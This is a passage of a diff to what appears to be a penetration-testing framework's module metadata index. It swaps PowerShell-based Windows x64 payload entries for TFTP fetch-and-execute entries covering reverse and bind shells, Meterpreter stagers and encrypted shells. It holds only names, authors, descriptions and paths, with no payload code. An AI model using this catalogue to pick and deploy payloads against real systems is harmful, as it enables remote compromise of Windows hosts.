"bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -188995,10 +198454,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189007,9 +198466,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp_rc4": { + "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_rc4", "aliases": [ ], @@ -189017,11 +198476,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "UserExistsError" + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ ], @@ -189031,21 +198495,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_uuid", "aliases": [ ], @@ -189053,11 +198517,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf " + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -189067,10 +198532,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -189079,9 +198544,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/custom/reverse_winhttp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttp", "aliases": [ ], @@ -189089,16 +198554,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ ], @@ -189108,21 +198568,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_winhttp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/reverse_winhttps": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttps", "aliases": [ ], @@ -189130,12 +198590,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf ", + "Brendan Watters", + "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ ], @@ -189145,10 +198604,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -189157,9 +198616,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { - "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", + "payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": { + "name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", "aliases": [ ], @@ -189167,11 +198626,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "OJ Reeves" + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", "references": [ ], @@ -189181,10 +198640,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_named_pipe", + "ref_name": "cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189193,9 +198652,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", + "payload_cmd/windows/tftp/x64/encrypted_shell_reverse_tcp": { + "name": "TFTP Fetch, Windows Encrypted Reverse Shell", + "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", "aliases": [ ], @@ -189203,11 +198662,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf " + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn an encrypted command shell", "references": [ ], @@ -189217,10 +198676,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189229,9 +198688,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/exec": { + "name": "TFTP Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/tftp/x64/exec", "aliases": [ ], @@ -189239,16 +198698,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nExecute an arbitrary command (Windows x64)", "references": [ ], @@ -189258,21 +198711,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/exec", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/loadlibrary": { + "name": "TFTP Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/tftp/x64/loadlibrary", "aliases": [ ], @@ -189280,12 +198733,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "scriptjunkie", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nLoad an arbitrary x64 library path", "references": [ ], @@ -189295,10 +198747,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, @@ -189307,9 +198759,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { - "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", + "payload_cmd/windows/tftp/x64/messagebox": { + "name": "TFTP Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/tftp/x64/messagebox", "aliases": [ ], @@ -189317,10 +198769,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7" + "Brendan Watters", + "pasta " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", "references": [ ], @@ -189330,10 +198782,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/pingback_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/messagebox", "check": false, "post_auth": false, "default_credential": false, @@ -189342,9 +198794,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -189352,14 +198804,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189367,10 +198820,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189379,9 +198832,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -189389,14 +198842,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189404,10 +198858,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -189416,9 +198870,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/meterpreter/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_named_pipe", "aliases": [ ], @@ -189426,14 +198880,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189441,10 +198897,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -189453,9 +198909,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -189463,12 +198919,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189476,10 +198935,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189488,9 +198947,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", "aliases": [ ], @@ -189498,13 +198957,19 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", - "OJ Reeves" + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189512,21 +198977,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -189534,13 +198999,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", - "UserExistsError" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189548,10 +199015,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -189560,9 +199027,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_http": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_http", "aliases": [ ], @@ -189570,12 +199037,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189583,10 +199053,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -189595,9 +199065,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_https": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_https", "aliases": [ ], @@ -189605,17 +199075,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", + "OJ Reeves", "hdm ", - "skape ", - "mihi", - "max3raza", - "RageLtMan" + "agix", + "rwincey" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189623,21 +199094,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_https", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_named_pipe": { + "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", "aliases": [ ], @@ -189645,13 +199116,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189659,10 +199132,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -189671,9 +199144,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -189681,12 +199154,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "description": 